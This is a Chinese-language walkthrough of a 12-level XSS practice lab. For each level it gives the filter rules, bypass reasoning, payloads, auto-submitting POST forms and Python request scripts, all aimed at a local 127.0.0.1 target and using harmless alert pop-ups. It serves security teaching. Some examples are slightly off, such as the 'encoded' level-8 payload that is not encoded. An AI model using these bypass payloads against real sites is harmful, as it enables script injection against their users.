《XSS 漏洞闯关全关卡详细解析》文档说明本解析针对 XSS 经典 12 关闯关场景
本文系统分析了12种XSS攻击场景,涵盖反射型、存储型和DOM型三种核心类型。每关均包含场景分析、过滤规则、绕过思路、代码示例和验证方法,适配主流XSS靶场环境。重点内容包括:1) 基础反射型GET注入;2) 标签/事件过滤的多种绕过技巧;3) 存储型XSS的持久化攻击;4) DOM型XSS的前端绕过;5) HTTP头注入的高级利用。通过混合大小写、双写关键字、编码转换等技术突破过滤,并提供了完整
本解析针对 XSS 经典 12 关闯关场景,覆盖反射型(GET/POST)、存储型、DOM 型 等核心类型,每关均包含「关卡场景」「过滤规则分析」「绕过思路推导」「完整代码示例(含 POST 请求)」「通关验证」5 个核心模块,所有代码均可直接复用,适配主流 XSS 靶场(如皮卡丘、XSS Challenges 等)。
通用前置准备
- 环境要求:搭建 PHP+MySQL 靶场环境(推荐 PHPStudy),确保靶场公网 / 本地可访问;
- 工具准备:浏览器(Chrome/Firefox)、Burp Suite(抓包 / 编码)、EditThisCookie 插件(Cookie 验证);
- 核心验证脚本:所有关卡最终需执行
alert(document.domain)弹框,验证通关。
第 1 关:反射型 GET(无过滤)
一、关卡场景
搜索框输入内容后,内容通过 URL GET 参数传递,直接回显在页面<p>标签内,无任何过滤措施。
二、过滤规则分析
- 输入特殊字符(
<>'"111)提交后,页面源码中特殊字符完整保留,无转义 / 删除; - 输入
<script>alert(1)</script>,脚本可直接执行。
三、绕过思路推导
无需绕过,直接构造标准 XSS 脚本即可,若输入框有长度限制(如maxlength=20),需先修改长度限制。
四、完整代码示例
1. GET 请求(直接输入)
html
预览
<script>alert(document.domain)</script>
2. POST 请求(模拟表单提交)
html
预览
<!-- 保存为xss_post_1.html,双击打开自动提交 -->
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level1.php">
<input type="hidden" name="message" value="<script>alert(document.domain)</script>">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>
五、通关验证
提交后弹出当前域名(如127.0.0.1),页面显示 “恭喜进入下一关”。
第 2 关:反射型 GET(过滤<script>标签)
一、关卡场景
输入<script>标签会被过滤(直接删除),但其他标签事件(如onclick)未被过滤,内容回显在<input>标签的value属性中。
二、过滤规则分析
- 输入
<script>alert(1)</script>,源码中仅剩alert(1),<script>标签被删除; - 输入
<img src=x onerror=alert(1)>,特殊字符(<>、=)未被过滤。
三、绕过思路推导
- 放弃
<script>标签,改用HTML 事件标签(如img、a、div); - 利用
onerror/onclick等事件触发 JS 代码,避开<script>过滤。
四、完整代码示例
1. GET 请求(直接输入)
html
预览
<img src=x onerror=alert(document.domain)>
2. POST 请求(表单提交)
html
预览
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level2.php">
<input type="hidden" name="message" value="<img src=x onerror=alert(document.domain)>">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>
五、通关验证
提交后页面加载时触发img标签onerror事件,弹出域名弹框。
第 3 关:反射型 GET(过滤<script>和事件关键字)
一、关卡场景
过滤<script>标签及on开头的事件关键字(如onclick、onerror),内容回显在<input>标签value属性中,且对<>进行了实体编码(<→<、>→>)。
二、过滤规则分析
- 输入
<img src=x onerror=alert(1)>,源码中onerror被删除,仅剩<img src=x =alert(1)>; - 输入
' onclick='alert(1)',单引号未被过滤,可闭合value属性。
三、绕过思路推导
- 利用单引号闭合
<input>标签的value属性; - 添加
onclick事件(需点击触发),避开直接过滤(因闭合后事件属于新属性,过滤规则未覆盖)。
四、完整代码示例
1. GET 请求(直接输入)
html
预览
' onclick='alert(document.domain)'
2. POST 请求(表单提交)
html
预览
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level3.php">
<input type="hidden" name="message" value="' onclick='alert(document.domain)'">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>
五、通关验证
提交后点击页面中的输入框区域,触发onclick事件,弹出域名弹框。
第 4 关:反射型 GET(过滤<script>和单双引号)
一、关卡场景
过滤<script>标签、单引号(')和双引号("),内容回显在<input>标签value属性中,<>未被编码。
二、过滤规则分析
- 输入
' onclick='alert(1)',单引号被删除,仅剩onclick=alert(1); - 输入
<img src=x onerror=alert(1)>,onerror未被过滤(仅过滤<script>和引号)。
三、绕过思路推导
- 放弃引号闭合,直接使用无引号的
img标签onerror事件; - JS 代码中使用数字编码(如
alert(1)无需引号),避开引号依赖。
四、完整代码示例
1. GET 请求(直接输入)
html
预览
<img src=x onerror=alert(document.domain)>
2. POST 请求(表单提交)
html
预览
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level4.php">
<input type="hidden" name="message" value="<img src=x onerror=alert(document.domain)>">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>
五、通关验证
页面加载时img标签加载失败,触发onerror事件,弹出域名弹框。
第 5 关:存储型 XSS(留言板,过滤<script>)
一、关卡场景
留言板输入内容被存储到数据库,永久回显在页面中,过滤<script>标签,但允许其他标签和事件。
二、过滤规则分析
- 输入
<script>alert(1)</script>,源码中<script>被删除,仅剩alert(1); - 输入
<a href=javascript:alert(1)>点击</a>,所有字符保留,无过滤。
三、绕过思路推导
- 利用
javascript:伪协议替代<script>标签; - 构造
a标签,点击触发 JS 代码,适配存储型场景(永久生效)。
四、完整代码示例
1. 直接输入(留言板)
html
预览
<a href=javascript:alert(document.domain)>点击通关</a>
2. POST 请求(模拟留言提交)
html
预览
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level5.php">
<input type="hidden" name="username" value="test">
<input type="hidden" name="content" value="<a href=javascript:alert(document.domain)>点击通关</a>">
<input type="hidden" name="submit" value="提交留言">
</form>
</body>
</html>
五、通关验证
提交后留言板显示 “点击通关” 链接,点击后弹出域名弹框;退出登录重新访问,链接仍存在,验证存储型特性。
第 6 关:反射型 GET(大小写过滤)
一、关卡场景
仅过滤小写<script>标签和on事件关键字,未区分大小写,内容回显在页面<div>标签内。
二、过滤规则分析
- 输入
<script>alert(1)</script>,小写<script>被删除; - 输入
<Script>alert(1)</Script>,混合大小写标签完整保留。
三、绕过思路推导
- 利用 HTML 标签 / JS 关键字不区分大小写的特性;
- 构造混合大小写的
<script>标签,避开小写过滤规则。
四、完整代码示例
1. GET 请求(直接输入)
html
预览
<ScRiPt>alert(document.domain)</ScRiPt>
2. POST 请求(表单提交)
html
预览
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level6.php">
<input type="hidden" name="message" value="<ScRiPt>alert(document.domain)</ScRiPt>">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>
五、通关验证
提交后混合大小写的<script>标签被解析执行,弹出域名弹框。
第 7 关:反射型 GET(双写关键字过滤)
一、关卡场景
删除script和on关键字(仅删除一次),内容回显在页面<p>标签内,无其他过滤。
二、过滤规则分析
- 输入
<script>alert(1)</script>,script被删除,仅剩<alert(1)>; - 输入
<scrscriptipt>alert(1)</scrscriptipt>,删除中间script后恢复为<script>alert(1)</script>。
三、绕过思路推导
- 利用 “仅删除一次关键字” 的漏洞,双写
script/on关键字; - 过滤后剩余完整关键字,触发 JS 执行。
四、完整代码示例
1. GET 请求(直接输入)
html
预览
<scrscriptipt>alert(document.domain)</scrscriptipt>
2. POST 请求(表单提交)
html
预览
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level7.php">
<input type="hidden" name="message" value="<scrscriptipt>alert(document.domain)</scrscriptipt>">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>
五、通关验证
提交后双写的script被过滤一次,恢复为标准<script>标签,弹出域名弹框。
第 8 关:反射型 GET(编码过滤)
一、关卡场景
过滤特殊字符(<>、'、"),但允许 URL/HTML 实体编码后的字符,内容回显在<a>标签href属性中。
二、过滤规则分析
- 输入
<script>alert(1)</script>,特殊字符被删除; - 输入
javascript:alert(document.domain)的 HTML 实体编码,被正常解析。
三、绕过思路推导
- 对
javascript:伪协议进行 HTML 实体编码; - 利用浏览器自动解码特性,执行编码后的 JS 代码。
四、完整代码示例
1. GET 请求(直接输入编码后内容)
html
预览
javascript:alert(document.domain)
<!-- 编码后:javascript:alert(document.domain) -->
2. POST 请求(表单提交)
html
预览
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level8.php">
<input type="hidden" name="message" value="javascript:alert(document.domain)">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>
五、通关验证
点击页面中的a标签链接,编码内容被解码执行,弹出域名弹框。
第 9 关:DOM 型 XSS(无服务器交互)
一、关卡场景
输入内容通过前端 JS 写入<a>标签href属性,无服务器交互,过滤javascript:关键字(检测是否包含http://)。
二、过滤规则分析
- 输入
javascript:alert(1),因无http://被判定为非法,内容被清空; - 输入
javascript:alert(1)//http://,//注释掉后续内容,同时满足http://检测条件。
三、绕过思路推导
- 利用 JS 注释(
//)添加http://,满足过滤的合法性检测; - 注释后的
http://不影响javascript:伪协议执行。
四、完整代码示例
1. GET 请求(直接输入)
html
预览
javascript:alert(document.domain)//http://
2. POST 请求(模拟提交)
html
预览
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level9.php">
<input type="hidden" name="message" value="javascript:alert(document.domain)//http://">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>
五、通关验证
点击a标签链接,javascript:伪协议执行,//注释掉http://,弹出域名弹框。
第 10 关:反射型 POST(隐藏输入框,过滤事件)
一、关卡场景
输入内容被写入隐藏<input>标签(type="hidden"),过滤on事件关键字,仅允许value属性。
二、过滤规则分析
- 输入
onclick=alert(1),on被删除; - 输入
type="text" onclick="alert(1)",可修改input标签类型,显示并添加事件。
三、绕过思路推导
- 闭合隐藏
input标签的type属性,修改为可见的text类型; - 添加
onclick事件,点击触发代码执行。
四、完整代码示例
1. POST 请求(表单提交,核心代码)
html
预览
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level10.php">
<input type="hidden" name="t_link" value="">
<input type="hidden" name="t_history" value="">
<input type="hidden" name="t_sort" value="123" type="text" onclick="alert(document.domain)">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>
五、通关验证
提交后页面显示修改后的input文本框,点击后触发onclick事件,弹出域名弹框。
第 11 关:反射型 POST(Referer 头注入)
一、关卡场景
过滤 URL / 表单输入,但未过滤 HTTP 请求头中的Referer字段,内容回显在页面中。
二、过滤规则分析
- 表单输入任何 XSS 代码均被过滤;
Referer头中的内容直接回显,无过滤。
三、绕过思路推导
- 放弃表单输入,通过 Burp Suite 修改 POST 请求的
Referer头; - 在
Referer头中注入 XSS 脚本,利用未过滤的特性执行。
四、完整代码示例
1. Burp Suite 修改 POST 请求(核心请求头)
http
POST /xss/level11.php HTTP/1.1
Host: 127.0.0.1
Referer: <script>alert(document.domain)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
message=test&submit=提交
2. 自动化 POST 请求(Python 代码)
python
运行
import requests
url = "http://127.0.0.1/xss/level11.php"
headers = {
"Referer": "<script>alert(document.domain)</script>",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"message": "test",
"submit": "提交"
}
response = requests.post(url, headers=headers, data=data)
print(response.text)
五、通关验证
请求发送后,页面解析Referer头中的<script>标签,弹出域名弹框。
第 12 关:反射型 POST(User-Agent 头注入)
一、关卡场景
过滤表单输入和Referer头,未过滤User-Agent请求头,内容回显在页面中。
二、过滤规则分析
Referer头注入被过滤,User-Agent头内容直接回显;- 无特殊字符过滤,支持所有 XSS 脚本。
三、绕过思路推导
- 修改 POST 请求的
User-Agent头,注入 XSS 脚本; - 利用浏览器 / 工具自定义请求头,避开表单输入过滤。
四、完整代码示例
1. Burp Suite 修改 POST 请求(核心请求头)
http
POST /xss/level12.php HTTP/1.1
Host: 127.0.0.1
User-Agent: <img src=x onerror=alert(document.domain)>
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
message=test&submit=提交
2. 自动化 POST 请求(Python 代码)
python
运行
import requests
url = "http://127.0.0.1/xss/level12.php"
headers = {
"User-Agent": "<img src=x onerror=alert(document.domain)>",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"message": "test",
"submit": "提交"
}
response = requests.post(url, headers=headers, data=data)
print(response.text)
五、通关验证
请求发送后,页面解析User-Agent头中的img标签,触发onerror事件,弹出域名弹框。
核心总结
1. 过滤规则应对策略
表格
| 过滤类型 | 核心绕过方法 | 典型示例 |
|---|---|---|
过滤<script> |
改用img/onerror、a/javascript |
<img src=x onerror=alert(1)> |
| 过滤大小写 | 混合大小写关键字 | <ScRiPt>alert(1)</ScRiPt> |
| 过滤单双引号 | 无引号事件 / 数字编码 | <img src=x onerror=alert(1)> |
| 过滤关键字(单次删除) | 双写关键字 | <scrscriptipt>alert(1)</scrscriptipt> |
| 请求头过滤 | 注入Referer/User-Agent头 |
User-Agent: <script>alert(1)</script> |
2. POST 请求核心要点
- 表单提交需匹配靶场的
action地址和参数名(如message、submit); - 请求头注入需通过 Burp/Python 等工具修改,普通表单无法直接提交;
- 存储型 POST 需包含业务参数(如
username、content),模拟真实留言 / 注册场景。
3. 通关通用技巧
- 优先判断输出位置(标签内 / 属性内 / 请求头),匹配对应绕过方式;
- 测试过滤规则时,先输入
<>'"111定位过滤范围; - DOM 型 XSS 需查看前端 JS 源码,找到 DOM 操作的输入输出点。
更多推荐

所有评论(0)